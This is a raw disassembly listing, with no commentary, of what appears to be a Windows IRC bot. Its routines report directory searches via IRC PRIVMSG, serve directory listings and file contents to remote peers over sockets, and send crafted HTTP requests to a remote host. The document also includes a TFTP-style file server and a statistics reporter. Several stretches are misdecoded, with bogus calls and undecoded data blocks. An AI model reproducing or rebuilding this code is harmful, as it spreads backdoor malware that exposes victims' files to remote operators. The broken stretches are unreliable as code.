loc_40634D: ; CODE XREF: sub_4060E4+279j
cmp [ebp+var_318], edi
jnz short loc_40638D
push 5
call ds:dword_421060 ; Sleep
jmp short loc_40634D
; ---------------------------------------------------------------------------
loc_40635F: ; CODE XREF: sub_4060E4+267j
push ebx
call ds:dword_43A410 ; closesocket
call ds:dword_421088 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_8C4]
push offset unk_426BE8
push eax
call sub_4154CD
lea eax, [ebp+var_8C4]
push eax
call sub_40B151
add esp, 10h
loc_40638D: ; CODE XREF: sub_4060E4+1ADj
; sub_4060E4+26Fj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_4060E4 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_406394: ; CODE XREF: seg000:004060BBp
; seg000:00411483p
push ebp
mov ebp, esp
sub esp, 594h
push ebx
push esi
push edi
xor ebx, ebx
push 104h
lea eax, [ebp-594h]
push ebx
push eax
mov [ebp-4], ebx
mov [ebp-8], ebx
call sub_415550
mov edi, [ebp+8]
push offset asc_426C7C ; "\n"
push edi
call sub_416C78
add esp, 14h
cmp [ebp+10h], ebx
jz short loc_4063F3
push edi
mov esi, 200h
push dword ptr [ebp+10h]
lea eax, [ebp-248h]
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
push esi
push eax
call sub_415A4A
add esp, 14h
jmp loc_4064F0
; ---------------------------------------------------------------------------
loc_4063F3: ; CODE XREF: seg000:004063CEj
cmp [ebp+14h], ebx
push edi
jz loc_4064D6
call sub_415CD0
mov [eax+edi-1], bl
push edi
mov esi, 200h
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
lea eax, [ebp-248h]
push esi
push eax
call sub_415A4A
add esp, 14h
lea eax, [ebp-248h]
push ebx
push eax
call sub_415CD0
pop ecx
push eax
lea eax, [ebp-248h]
push eax
push dword ptr [ebp+0Ch]
call ds:dword_43A3C8 ; send
push edi
push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp-248h]
push esi
push eax
call sub_415A4A
add esp, 10h
lea eax, [ebp-248h]
push ebx
push eax
call sub_415CD0
pop ecx
push eax
lea eax, [ebp-248h]
push eax
push dword ptr [ebp+0Ch]
call ds:dword_43A3C8 ; send
push edi
call sub_415CD0
push 3Ch
push 96h
mov byte ptr [eax+edi], 2Ah
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
lea eax, [ebp-248h]
push esi
push eax
call sub_415A4A
add esp, 1Ch
lea eax, [ebp-248h]
push ebx
push eax
call sub_415CD0
pop ecx
push eax
lea eax, [ebp-248h]
push eax
push dword ptr [ebp+0Ch]
call ds:dword_43A3C8 ; send
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp-248h]
push esi
push eax
call sub_415A4A
add esp, 0Ch
jmp short loc_4064F0
; ---------------------------------------------------------------------------
loc_4064D6: ; CODE XREF: seg000:004063F7j
mov esi, 200h
push offset aSearchingForS ; "Searching for: %s\r\n"
lea eax, [ebp-248h]
push esi
push eax
call sub_415A4A
add esp, 10h
loc_4064F0: ; CODE XREF: seg000:004063EEj
; seg000:004064D4j
lea eax, [ebp-248h]
push ebx
push eax
call sub_415CD0
pop ecx
push eax
lea eax, [ebp-248h]
push eax
push dword ptr [ebp+0Ch]
call ds:dword_43A3C8 ; send
cmp [ebp+14h], ebx
jz short loc_406588
push dword ptr [ebp+14h]
call sub_415CD0
cmp eax, 2
pop ecx
jbe short loc_406588
push dword ptr [ebp+14h]
call sub_415CD0
sub eax, 3
pop ecx
jz short loc_40653C
loc_406530: ; CODE XREF: seg000:0040653Aj
mov ecx, [ebp+14h]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_40653C
dec eax
jnz short loc_406530
loc_40653C: ; CODE XREF: seg000:0040652Ej
; seg000:00406537j
inc eax
push eax
lea eax, [ebp-594h]
push dword ptr [ebp+14h]
push eax
call sub_416D20
lea eax, [ebp-594h]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp-248h]
push esi
push eax
call sub_415A4A
add esp, 1Ch
lea eax, [ebp-248h]
push ebx
push eax
call sub_415CD0
pop ecx
push eax
lea eax, [ebp-248h]
push eax
push dword ptr [ebp+0Ch]
call ds:dword_43A3C8 ; send
loc_406588: ; CODE XREF: seg000:00406512j
; seg000:00406520j
lea eax, [ebp-388h]
push eax
push edi
call ds:dword_4210A8 ; FindFirstFileA
lea ecx, [ebp-388h]
mov [ebp+8], eax
push ecx
push eax
call ds:dword_4210A4 ; FindNextFileA
test eax, eax
jz loc_406979
mov edi, 1FFh
loc_4065B4: ; CODE XREF: seg000:00406973j
cmp [ebp-388h], ebx
jz loc_406961
lea eax, [ebp-35Ch]
push offset a__ ; ".."
push eax
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_406961
lea eax, [ebp-35Ch]
push offset a__0 ; "."
push eax
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_406961
lea eax, [ebp-20h]
push eax
lea eax, [ebp-374h]
push eax
call near ptr 3D0000h
fisttp qword ptr [ebp-72AF17BBh]
inc ebp
loopne near ptr loc_40665C+3
call near ptr 3D0000h
or [esi-75h], ah
inc ebp
lock mov ecx, offset aPm ; "PM"
cmp ax, 0Ch
ja short loc_406629
mov ecx, offset aAm ; "AM"
loc_406629: ; CODE XREF: seg000:00406622j
cmp ax, 0Ch
movzx eax, ax
jbe short loc_406635
sub eax, 0Ch
loc_406635: ; CODE XREF: seg000:00406630j
push ecx
movzx ecx, word ptr [ebp-0Eh]
push ecx
push eax
movzx eax, word ptr [ebp-18h]
push eax
movzx eax, word ptr [ebp-12h]
push eax
movzx eax, word ptr [ebp-16h]
push eax
lea eax, [ebp-48h]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax
call sub_4154CD
add esp, 20h
loc_40665C: ; CODE XREF: seg000:0040660Dj
test byte ptr [ebp-388h], 10h
jz loc_4067E2
inc dword ptr [ebp-8]
cmp [ebp+10h], ebx
jz short loc_4066B6
lea eax, [ebp-35Ch]
push eax
push offset aS_0 ; "<%s>"
lea eax, [ebp-490h]
push 106h
push eax
call sub_415A4A
lea eax, [ebp-48h]
push eax
lea eax, [ebp-490h]
push eax
lea eax, [ebp-248h]
push dword ptr [ebp+10h]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
push esi
push eax
call sub_415A4A
add esp, 28h
jmp loc_406932
; ---------------------------------------------------------------------------
loc_4066B6: ; CODE XREF: seg000:0040666Fj
cmp [ebp+14h], ebx
jz loc_4067A0
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp-248h]
push edi
push eax
call sub_415A4A
add esp, 10h
lea eax, [ebp-248h]
push ebx
push eax
call sub_415CD0
pop ecx
push eax
lea eax, [ebp-248h]
push eax
push dword ptr [ebp+0Ch]
call ds:dword_43A3C8 ; send
lea eax, [ebp-35Ch]
push eax
lea eax, [ebp-248h]
push dword ptr [ebp+14h]
push offset aSS ; "%s%s/"
push edi
push eax
call sub_415A4A
add esp, 14h
lea eax, [ebp-248h]
push ebx
push eax
call sub_415CD0
pop ecx
push eax
lea eax, [ebp-248h]
push eax
push dword ptr [ebp+0Ch]
call ds:dword_43A3C8 ; send
lea eax, [ebp-35Ch]
push eax
call sub_415CD0
cmp eax, 1Eh
pop ecx
lea eax, [ebp-35Ch]
push eax
jbe short loc_406756
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_40675B
; ---------------------------------------------------------------------------
loc_406756: ; CODE XREF: seg000:0040674Dj
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_40675B: ; CODE XREF: seg000:00406754j
lea eax, [ebp-248h]
push edi
push eax
call sub_415A4A
add esp, 10h
lea eax, [ebp-248h]
push ebx
push eax
call sub_415CD0
pop ecx
push eax
lea eax, [ebp-248h]
push eax
push dword ptr [ebp+0Ch]
call ds:dword_43A3C8 ; send
lea eax, [ebp-48h]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_406923
; ---------------------------------------------------------------------------
loc_4067A0: ; CODE XREF: seg000:004066B9j
lea eax, [ebp-35Ch]
push eax
push offset aS_0 ; "<%s>"
lea eax, [ebp-490h]
push 106h
push eax
call sub_415A4A
lea eax, [ebp-48h]
push eax
lea eax, [ebp-490h]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
loc_4067CD: ; CODE XREF: seg000:0040680Aj
lea eax, [ebp-248h]
push esi
push eax
call sub_415A4A
add esp, 24h
jmp loc_406932
; ---------------------------------------------------------------------------
loc_4067E2: ; CODE XREF: seg000:00406663j
inc dword ptr [ebp-4]
cmp [ebp+10h], ebx
jz short loc_40680C
push ebx
push dword ptr [ebp-368h]
call sub_40C1FC
push eax
lea eax, [ebp-48h]
push eax
lea eax, [ebp-35Ch]
push eax
push dword ptr [ebp+10h]
push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
jmp short loc_4067CD
; ---------------------------------------------------------------------------
loc_40680C: ; CODE XREF: seg000:004067E8j
cmp [ebp+14h], ebx
jz loc_40690C
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp-248h]
push edi
push eax
call sub_415A4A
add esp, 10h
lea eax, [ebp-248h]
push ebx
push eax
call sub_415CD0
pop ecx
push eax
lea eax, [ebp-248h]
push eax
push dword ptr [ebp+0Ch]
call ds:dword_43A3C8 ; send
lea eax, [ebp-35Ch]
push eax
lea eax, [ebp-248h]
push dword ptr [ebp+14h]
push offset aSS_2 ; "%s%s"
push edi
push eax
call sub_415A4A
add esp, 14h
lea eax, [ebp-248h]
push ebx
push eax
call sub_415CD0
pop ecx
push eax
lea eax, [ebp-248h]
push eax
push dword ptr [ebp+0Ch]
call ds:dword_43A3C8 ; send
lea eax, [ebp-35Ch]
push eax
call sub_415CD0
cmp eax, 1Fh
pop ecx
lea eax, [ebp-35Ch]
push eax
jbe short loc_4068AC
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_4068B1
; ---------------------------------------------------------------------------
loc_4068AC: ; CODE XREF: seg000:004068A3j
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_4068B1: ; CODE XREF: seg000:004068AAj
lea eax, [ebp-248h]
push edi
push eax
call sub_415A4A
add esp, 10h
lea eax, [ebp-248h]
push ebx
push eax
call sub_415CD0
pop ecx
push eax
lea eax, [ebp-248h]
push eax
push dword ptr [ebp+0Ch]
call ds:dword_43A3C8 ; send
mov eax, [ebp-368h]
shr eax, 0Ah
push eax
lea eax, [ebp-48h]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
lea eax, [ebp-248h]
push edi
push eax
call sub_415A4A
add esp, 1Ch
jmp short loc_406932
; ---------------------------------------------------------------------------
loc_40690C: ; CODE XREF: seg000:0040680Fj
push dword ptr [ebp-368h]
lea eax, [ebp-48h]
push eax
lea eax, [ebp-35Ch]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
push esi
loc_406923: ; CODE XREF: seg000:0040679Bj
lea eax, [ebp-248h]
push eax
call sub_415A4A
add esp, 18h
loc_406932: ; CODE XREF: seg000:004066B1j
; seg000:004067DDj ...
lea eax, [ebp-248h]
push ebx
push eax
call sub_415CD0
pop ecx
push eax
lea eax, [ebp-248h]
push eax
push dword ptr [ebp+0Ch]
call ds:dword_43A3C8 ; send
cmp [ebp+10h], ebx
jz short loc_406961
push 7D0h
call ds:dword_421060 ; Sleep
loc_406961: ; CODE XREF: seg000:004065BAj
; seg000:004065D5j ...
lea eax, [ebp-388h]
push eax
push dword ptr [ebp+8]
call ds:dword_4210A4 ; FindNextFileA
test eax, eax
jnz loc_4065B4
loc_406979: ; CODE XREF: seg000:004065A9j
push dword ptr [ebp+8]
call near ptr 3D0000h
js short loc_4069BC
pop ebp
adc [ebp+esi-75h], dh
inc ebp
clc
cdq
push edx
push eax
call sub_40C1FC
pop ecx
pop ecx
push eax
mov eax, [ebp-4]
cdq
push edx
push eax
call sub_40C1FC
pop ecx
pop ecx
push eax
lea eax, [ebp-248h]
push dword ptr [ebp+10h]
push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax
call sub_4154CD
add esp, 14h
jmp short loc_4069F0
; ---------------------------------------------------------------------------
loc_4069BC: ; CODE XREF: seg000:00406981j
cmp [ebp+14h], ebx
jz short loc_4069D6
lea eax, [ebp-248h]
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax
call sub_4154CD
pop ecx
pop ecx
jmp short loc_4069F0
; ---------------------------------------------------------------------------
loc_4069D6: ; CODE XREF: seg000:004069BFj
push dword ptr [ebp-8]
lea eax, [ebp-248h]
push dword ptr [ebp-4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax
call sub_4154CD
add esp, 10h
loc_4069F0: ; CODE XREF: seg000:004069BAj
; seg000:004069D4j
lea eax, [ebp-248h]
push ebx
push eax
call sub_415CD0
pop ecx
push eax
lea eax, [ebp-248h]
push eax
push dword ptr [ebp+0Ch]
call ds:dword_43A3C8 ; send
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406A16 proc near ; CODE XREF: seg000:0040609Dp
var_404 = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push [ebp+arg_4]
mov edi, 400h
mov [ebp+var_4], esi
call ds:dword_421078 ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_406ACE
push esi
push ebx
call near ptr 3D0000h
dec ebx
cmp eax, esi
mov [ebp+arg_4], eax
jz short loc_406AC7
loc_406A5B: ; CODE XREF: sub_406A16+AFj
push 400h
lea eax, [ebp+var_404]
push esi
push eax
call sub_415550
add esp, 0Ch
cmp edi, [ebp+arg_4]
jbe short loc_406A78
mov edi, [ebp+arg_4]
loc_406A78: ; CODE XREF: sub_406A16+5Dj
mov eax, [ebp+arg_4]
push 2
neg eax
push esi
push eax
push ebx
call ds:dword_4210AC ; SetFilePointer
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_404]
push edi
push eax
push ebx
call ds:dword_421068 ; ReadFile
push esi
lea eax, [ebp+var_404]
push edi
push eax
push [ebp+arg_0]
call ds:dword_43A3C8 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_406AC2
call ds:dword_43A30C ; WSAGetLastError
cmp eax, 2733h
jnz short loc_406AC7
xor eax, eax
loc_406AC2: ; CODE XREF: sub_406A16+9Bj
sub [ebp+arg_4], eax
jnz short loc_406A5B
loc_406AC7: ; CODE XREF: sub_406A16+43j
; sub_406A16+A8j
push ebx
call ds:dword_42106C ; CloseHandle
loc_406ACE: ; CODE XREF: sub_406A16+30j
pop edi
pop esi
pop ebx
leave
retn
sub_406A16 endp
; =============== S U B R O U T I N E =======================================
sub_406AD3 proc near ; CODE XREF: sub_4060E4+17Cp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
push edi
call sub_415CD0
test eax, eax
pop ecx
jbe short loc_406AFC
loc_406AE6: ; CODE XREF: sub_406AD3+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_406AF0
mov byte ptr [esi+edi], 2Fh
loc_406AF0: ; CODE XREF: sub_406AD3+17j
push edi
inc esi
call sub_415CD0
cmp esi, eax
pop ecx
jb short loc_406AE6
loc_406AFC: ; CODE XREF: sub_406AD3+11j
mov eax, edi
pop edi
pop esi
retn
sub_406AD3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406B01 proc near ; CODE XREF: seg000:0040F90Ep
var_4A0 = byte ptr -4A0h
var_310 = byte ptr -310h
var_110 = byte ptr -110h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
lea eax, [ebp+var_4A0]
push edi
push eax
push 101h
call ds:dword_43A2F0 ; WSAStartup
push 6
push 1
push 2
call ds:dword_43A3F8 ; socket
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_415550
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_14]
call ds:dword_43A378 ; ntohs
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_40A03F
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call ds:dword_43A320 ; connect
cmp eax, 0FFFFFFFFh
jz short loc_406BDE
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_406B7A
mov eax, offset byte_438F9C
loc_406B7A: ; CODE XREF: sub_406B01+72j
push esi
mov esi, 100h
push [ebp+arg_10]
push eax
lea eax, [ebp+var_110]
push [ebp+arg_1C]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi
push eax
call sub_415A4A
add esp, 1Ch
lea eax, [ebp+var_110]
push edi
push eax
call sub_415CD0
pop ecx
push eax
lea eax, [ebp+var_110]
push eax
push ebx
call ds:dword_43A3C8 ; send
push esi
lea eax, [ebp+var_110]
push edi
push eax
call sub_4155B0
add esp, 0Ch
lea eax, [ebp+var_110]
push edi
push esi
push eax
push ebx
call ds:dword_43A390 ; recv
pop esi
loc_406BDE: ; CODE XREF: sub_406B01+6Bj
push ebx
call ds:dword_43A410 ; closesocket
call ds:dword_43A2D8 ; WSACleanup
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_310]
push eax
call sub_4154CD
cmp [ebp+arg_C], edi
pop ecx
pop ecx
jnz short loc_406C1E
push edi
lea eax, [ebp+var_310]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D32
add esp, 14h
loc_406C1E: ; CODE XREF: sub_406B01+102j
pop edi
pop ebx
leave
retn
sub_406B01 endp
; ---------------------------------------------------------------------------
loc_406C22: ; CODE XREF: seg000:loc_40710Dp
push ebp
mov ebp, esp
sub esp, 884h
push ebx
push esi
push edi
mov edx, [ebp+8]
mov esi, offset aOctet ; "octet"
lea edi, [ebp-1Ch]
movsd
push 1
xor ebx, ebx
movsw
pop eax
mov ecx, 0A9h
mov esi, edx
lea edi, [ebp-37Ch]
push ebx
push 2
rep movsd
inc dword ptr [ebp-16Ch]
push 2
mov [ebp-0Ch], eax
mov [edx+2A0h], eax
call ds:dword_43A3F8 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp-10h], edi
jnz short near ptr loc_406CE4+1
push 190h
call ds:dword_421060 ; Sleep
call ds:dword_43A30C ; WSAGetLastError
push eax
lea eax, [ebp-780h]
push offset unk_427284
push eax
call sub_4154CD
add esp, 0Ch
cmp [ebp-0E0h], ebx
jnz short loc_406CC5
push ebx
lea eax, [ebp-780h]
push dword ptr [ebp-0E4h]
push eax
lea eax, [ebp-164h]
push eax
push dword ptr [ebp-37Ch]
call sub_412D32
add esp, 14h
loc_406CC5: ; CODE XREF: seg000:00406CA0j
lea eax, [ebp-780h]
push eax
call sub_40B151
push dword ptr [ebp-170h]
call sub_415295
pop ecx
pop ecx
push ebx
call near ptr 3D0000h
loc_406CE4: ; CODE XREF: seg000:00406C72j
mov eax, cs:[ebp-170h]
push 10h
imul eax, 234h
push ebx
mov ds:dword_43F514[eax], edi
lea eax, [ebp-44h]
push eax
call sub_415550
add esp, 0Ch
mov word ptr [ebp-44h], 2
push dword ptr [ebp-168h]
call ds:dword_43A378 ; ntohs
mov [ebp-42h], ax
lea eax, [ebp-44h]
push 10h
push eax
push edi
mov [ebp-40h], ebx
call ds:dword_43A3A4 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_406D4A
push 1388h
call ds:dword_421060 ; Sleep
dec dword ptr [ebp-16Ch]
push dword ptr [ebp+8]
jmp loc_40710D
; ---------------------------------------------------------------------------
loc_406D4A: ; CODE XREF: seg000:00406D2Fj
lea eax, [ebp-378h]
push offset aRb ; "rb"
push eax
call sub_415BC8
pop ecx
cmp eax, ebx
pop ecx
mov [ebp-8], eax
jnz short near ptr loc_406DC7+1
push 190h
call ds:dword_421060 ; Sleep
lea eax, [ebp-378h]
push eax
lea eax, [ebp-780h]
push offset unk_427234
push eax
call sub_4154CD
push ebx
lea eax, [ebp-780h]
push dword ptr [ebp-0E4h]
push eax
lea eax, [ebp-164h]
push eax
push dword ptr [ebp-37Ch]
call sub_412D32
lea eax, [ebp-780h]
push eax
call sub_40B151
push dword ptr [ebp-170h]
call sub_415295
add esp, 28h
push ebx
call near ptr 3D0000h
loc_406DC7: ; CODE XREF: seg000:00406D62j
sar dword ptr [esi+200h], 8Bh
inc ebp
or [ecx], bh
cwde
mov al, ds:0F000002h
test dh, cl
add al, [eax]
add [ecx-87F43h], cl
; ---------------------------------------------------------------------------
db 0FFh, 0BFh, 80h
dword_406DE4 dd 57000000h, 0FF28858Dh, 5053FFFFh, 5CC45C7h, 0C7000000h
dd 1388D045h, 85C70000h, 0FFFFF77Ch, 1, 0E743E8h, 0CC48300h
dd 50CC458Dh, 7C858D53h, 53FFFFF7h, 15FF5350h, 43A360h
dd 8E0FC085h, 295h, 438F9CA0h, 88CF8B00h, 0FFFA8085h, 8DC033FFh
dd 0FFFA81BDh, 0FC45C7FFh, 10h, 0AB66ABF3h, 0F07D8BAAh
dd 50FC458Dh, 50D4458Dh, 28858D53h, 68FFFFFFh, 80h, 15FF5750h
dd 43A350h, 89D875FFh, 15FFF445h, 43A404h, 0A8458D50h
dd 0E64BE850h, 9D380000h, 0FFFFFF28h, 850F5959h, 21Bh
dd 0FF29BD80h, 0F01FFFFh, 15A85h, 8C858D00h, 50FFFFFDh
dd 0EE27E8h, 5848D00h, 0FFFFFF2Bh, 8DEC4589h, 0FFFD8C85h
dd 11E850FFh, 500000EEh, 0FF2A858Dh, 8D50FFFFh, 0FFFD8C85h
dd 0DDE850FFh, 830000FFh, 0C08514C4h, 0D3850Fh, 458D0000h
dd 0E9E850E4h, 500000EDh, 0FFE4458Dh, 0E850EC75h, 0FFBCh
dd 8510C483h, 0B2850FC0h, 53000000h, 0F875FF53h, 0FF15E8h
dd 0F875FF00h, 0FA84858Dh, 9D88FFFFh, 0FFFFFA80h, 0FA8185C6h
dd 5603FFFFh, 8850016Ah, 0FFFA829Dh, 8385C6FFh, 1FFFFFAh
dd 0FC5BE8h, 1CC48300h, 89D44D8Dh, 0C083F445h, 0FC75FF04h
dd 8D505351h, 0FFFA8085h, 0FF5750FFh, 43A3DC15h, 88858D00h
dd 50FFFFFCh, 50A8458Dh, 4271E068h, 80858D00h, 50FFFFF8h
dd 0E55CE8h, 10C48300h, 0FF209D39h, 2375FFFFh, 80858D53h
dd 0FFFFFFF8h, 0FFFF1CB5h, 858D50FFh, 0FFFFFE9Ch, 84B5FF50h
dd 0E8FFFFFCh, 0BD96h, 8D14C483h, 0FFF88085h, 0A6E850FFh
dd 59000041h, 110E9h, 0FC75FF00h, 50D4458Dh, 68136A53h
dd 4271CCh, 0DC15FF57h, 8D0043A3h, 0FFFD8C85h, 458D50FFh
dd 858D50A8h, 0FFFFFF28h, 42719068h, 0EAE85000h, 8D0000E4h
dd 0FFFF2885h, 62E850FFh, 83000041h, 0CAE914C4h, 80000000h
dd 0FFFF29BDh, 850F04FFh, 0A7h, 0FF2B8D8Ah, 858AFFFFh
dd 0FFFFFF2Ah, 88FFF980h, 0FFFA809Dh, 8185C6FFh, 3FFFFFAh
dd 0C0FE1275h, 8588C932h, 0FFFFFA82h, 0FA839D88h, 0EEBFFFFh
dd 8588C1FEh, 0FFFFFA82h, 0FA838D88h, 0B60FFFFFh, 0C9B60FC0h
dd 308E0C1h, 0E0C153C1h, 50C62B09h, 0E8F875FFh, 0FDC2h
dd 8DF875FFh, 0FFFA8485h, 16A56FFh, 0FB22E850h, 0C4830000h
dd 8DF88B1Ch, 7D89D445h, 0FC75FFF4h, 4478D50h, 858D5053h
dd 0FFFFFA80h, 0F075FF50h, 0A3DC15FFh, 0FB3B0043h, 858D2B75h
dd 0FFFFFC88h, 0A8458D50h, 71406850h, 0BAE90042h, 0FFFFFFFEh
dd 458DFC75h, 6A5350D4h, 71346809h, 0FF570042h, 43A3DC15h
dd 0F45D3900h, 0FF07D8Bh, 0FFFD008Fh, 15FF57FFh, 43A410h
dd 0E8F875FFh, 0EA44h, 0FF08758Bh, 0FFFE948Dh, 9E3959FFh
dd 2A0h, 0B5FF1375h, 0FFFFFE90h, 0E19CE8h, 0E8535900h
dd 0FFFC8F00h, 3E868FBh, 15FF0000h, 421060h
; ---------------------------------------------------------------------------
push esi
loc_40710D: ; CODE XREF: seg000:00406D45j
call loc_406C22
pop edi
pop esi
pop ebx
leave
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407119 proc near ; CODE XREF: seg000:004125D4p
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+var_200]
push offset unk_4276A4
push eax
xor ebx, ebx
call sub_4154CD
cmp ds:dword_427300, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_407187
push esi
mov esi, offset dword_427308
loc_40714C: ; CODE XREF: sub_407119+6Bj
mov eax, [esi]
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+var_400]
push offset aSD ; " %s: %d,"
push eax
call sub_4154CD
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_416EF0
add esi, 3Ch
add esp, 1Ch
cmp dword ptr [esi-8], 0
jnz short loc_40714C
pop esi
loc_407187: ; CODE XREF: sub_407119+2Bj
push ds:dword_4687F8
call sub_40A996
push eax
push ebx
lea eax, [ebp+var_400]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax
call sub_4154CD
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_416EF0
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D32
lea eax, [ebp+var_200]
push eax
call sub_40B151
add esp, 38h
pop edi
pop ebx
leave
retn
sub_407119 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4071E3 proc near ; CODE XREF: seg000:00411F41p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 8
call sub_4151C1
test eax, eax
pop ecx
jle short loc_40721F
mov eax, [ebp+arg_C]
push ds:dword_438FC8[eax*8]
call ds:dword_43A404 ; inet_ntoa
push eax
lea eax, [ebp+var_200]
push offset unk_427710
push eax
call sub_4154CD
add esp, 0Ch
jmp short loc_407232
; ---------------------------------------------------------------------------
loc_40721F: ; CODE XREF: sub_4071E3+13j
lea eax, [ebp+var_200]
push offset unk_4276DC
push eax
call sub_4154CD
pop ecx
pop ecx
loc_407232: ; CODE XREF: sub_4071E3+3Aj
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D32
lea eax, [ebp+var_200]
push eax
call sub_40B151
add esp, 18h
leave
retn
sub_4071E3 endp
; ---------------------------------------------------------------------------
loc_40725A: ; CODE XREF: sub_407983+4Fp
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+138h]
push ebx
cmp eax, 0FFFFFFFFh
push esi
jz loc_4075EA
imul eax, 3Ch
xor ebx, ebx
cmp ds:dword_42730C[eax], ebx
jz loc_4074CB
push 4
call sub_4151C1
test eax, eax
pop ecx
jnz loc_4075EA
mov eax, ds:dword_42C150
push edi
mov edi, offset dword_439944
push 104h
push edi
push ebx
mov ds:dword_439B54, eax
mov ds:dword_439B50, ebx
call near ptr 3D0000h
mov bl, 68h
add eax, [ecx]
; ---------------------------------------------------------------------------
db 0
dd 9A48BE00h, 0B8680043h, 560042C1h, 0FA53E8h, 18858B00h
dd 83000001h, 9D380CC4h, 98h, 439940A3h, 40858B00h, 6A000001h
dd 9BD8A37Fh, 1D750043h, 5018458Dh, 439B5868h, 0FA22E800h
dd 0C4830000h, 0DC05C70Ch, 100439Bh, 0EB000000h, 98858D1Ah
dd 50000000h, 439B5868h, 0FA02E800h, 0C4830000h, 0DC1D890Ch
